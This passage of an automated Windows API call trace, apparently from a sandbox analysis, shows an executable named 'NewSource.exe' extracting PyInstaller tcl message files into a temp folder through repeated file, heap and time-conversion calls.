htonl (hostlong=0x84010000) returned 0x184 [0037.479] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x184) returned 0x550600 [0037.479] htonl (hostlong=0x84010000) returned 0x184 [0037.479] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.479] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.479] htonl (hostlong=0xe7040000) returned 0x4e7 [0037.479] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4e7) returned 0x55e278 [0037.479] htonl (hostlong=0x84010000) returned 0x184 [0037.479] htonl (hostlong=0xe7040000) returned 0x4e7 [0037.479] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.479] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.479] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.479] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.479] CloseHandle (hObject=0x10c) returned 1 [0037.479] GetLastError () returned 0x0 [0037.479] SetLastError (dwErrCode=0x0) [0037.479] GetLastError () returned 0x0 [0037.479] SetLastError (dwErrCode=0x0) [0037.479] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.480] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.480] GetFileType (hFile=0x10c) returned 0x1 [0037.480] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.480] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.480] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.480] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.480] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.480] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.480] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.480] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.480] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.480] CloseHandle (hObject=0x10c) returned 1 [0037.480] GetLastError () returned 0x0 [0037.480] SetLastError (dwErrCode=0x0) [0037.480] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.480] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.480] GetFileType (hFile=0x10c) returned 0x1 [0037.480] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.480] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.480] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.480] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.480] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.480] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.481] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.481] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.481] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.481] CloseHandle (hObject=0x10c) returned 1 [0037.481] GetLastError () returned 0x0 [0037.481] SetLastError (dwErrCode=0x0) [0037.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\is.msg") returned 61 [0037.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\is.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\is.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.481] GetLastError () returned 0x2 [0037.481] SetLastError (dwErrCode=0x2) [0037.481] GetLastError () returned 0x2 [0037.481] SetLastError (dwErrCode=0x2) [0037.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\is.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\is.msg", lpFilePart=0x0) returned 0x3c [0037.481] GetLastError () returned 0x2 [0037.481] SetLastError (dwErrCode=0x2) [0037.481] GetLastError () returned 0x2 [0037.481] SetLastError (dwErrCode=0x2) [0037.481] GetLastError () returned 0x2 [0037.481] SetLastError (dwErrCode=0x2) [0037.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\is.msg") returned 61 [0037.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\is.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\is.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.514] GetFileType (hFile=0x10c) returned 0x1 [0037.514] htonl (hostlong=0xe7040000) returned 0x4e7 [0037.514] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.514] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4e7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4e7, lpOverlapped=0x0) returned 1 [0037.515] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.515] CloseHandle (hObject=0x10c) returned 1 [0037.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.516] htonl (hostlong=0x30000000) returned 0x30 [0037.516] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.516] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.516] GetFileType (hFile=0x10c) returned 0x1 [0037.516] htonl (hostlong=0x2d745700) returned 0x57742d [0037.516] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c242d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.516] htonl (hostlong=0x7b010000) returned 0x17b [0037.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x17b) returned 0x550600 [0037.516] htonl (hostlong=0x7b010000) returned 0x17b [0037.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.516] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.517] htonl (hostlong=0xd8040000) returned 0x4d8 [0037.517] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4d8) returned 0x55e278 [0037.517] htonl (hostlong=0x7b010000) returned 0x17b [0037.517] htonl (hostlong=0xd8040000) returned 0x4d8 [0037.517] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.517] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.517] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.517] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.517] CloseHandle (hObject=0x10c) returned 1 [0037.517] GetLastError () returned 0x0 [0037.517] SetLastError (dwErrCode=0x0) [0037.517] GetLastError () returned 0x0 [0037.517] SetLastError (dwErrCode=0x0) [0037.517] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.517] GetFileType (hFile=0x10c) returned 0x1 [0037.517] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.517] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.518] CloseHandle (hObject=0x10c) returned 1 [0037.518] GetLastError () returned 0x0 [0037.518] SetLastError (dwErrCode=0x0) [0037.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.518] GetFileType (hFile=0x10c) returned 0x1 [0037.518] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.518] CloseHandle (hObject=0x10c) returned 1 [0037.518] GetLastError () returned 0x0 [0037.519] SetLastError (dwErrCode=0x0) [0037.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it.msg") returned 61 [0037.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\it.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.519] GetLastError () returned 0x2 [0037.519] SetLastError (dwErrCode=0x2) [0037.519] GetLastError () returned 0x2 [0037.519] SetLastError (dwErrCode=0x2) [0037.519] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it.msg", lpFilePart=0x0) returned 0x3c [0037.519] GetLastError () returned 0x2 [0037.519] SetLastError (dwErrCode=0x2) [0037.519] GetLastError () returned 0x2 [0037.519] SetLastError (dwErrCode=0x2) [0037.519] GetLastError () returned 0x2 [0037.519] SetLastError (dwErrCode=0x2) [0037.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it.msg") returned 61 [0037.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\it.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.519] GetFileType (hFile=0x10c) returned 0x1 [0037.519] htonl (hostlong=0xd8040000) returned 0x4d8 [0037.519] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.519] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4d8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4d8, lpOverlapped=0x0) returned 1 [0037.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.521] CloseHandle (hObject=0x10c) returned 1 [0037.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.521] htonl (hostlong=0x30000000) returned 0x30 [0037.521] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.521] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.521] GetFileType (hFile=0x10c) returned 0x1 [0037.521] htonl (hostlong=0xa8755700) returned 0x5775a8 [0037.522] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c25a8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.522] htonl (hostlong=0x99000000) returned 0x99 [0037.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x99) returned 0x55cfe0 [0037.522] htonl (hostlong=0x99000000) returned 0x99 [0037.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.522] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.522] htonl (hostlong=0xf4000000) returned 0xf4 [0037.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf4) returned 0x550600 [0037.522] htonl (hostlong=0x99000000) returned 0x99 [0037.522] htonl (hostlong=0xf4000000) returned 0xf4 [0037.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.522] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.522] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.522] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.522] CloseHandle (hObject=0x10c) returned 1 [0037.522] GetLastError () returned 0x0 [0037.522] SetLastError (dwErrCode=0x0) [0037.522] GetLastError () returned 0x0 [0037.522] SetLastError (dwErrCode=0x0) [0037.522] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.522] GetFileType (hFile=0x10c) returned 0x1 [0037.522] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.522] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.523] CloseHandle (hObject=0x10c) returned 1 [0037.523] GetLastError () returned 0x0 [0037.523] SetLastError (dwErrCode=0x0) [0037.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.523] GetFileType (hFile=0x10c) returned 0x1 [0037.523] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.523] CloseHandle (hObject=0x10c) returned 1 [0037.523] GetLastError () returned 0x0 [0037.523] SetLastError (dwErrCode=0x0) [0037.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 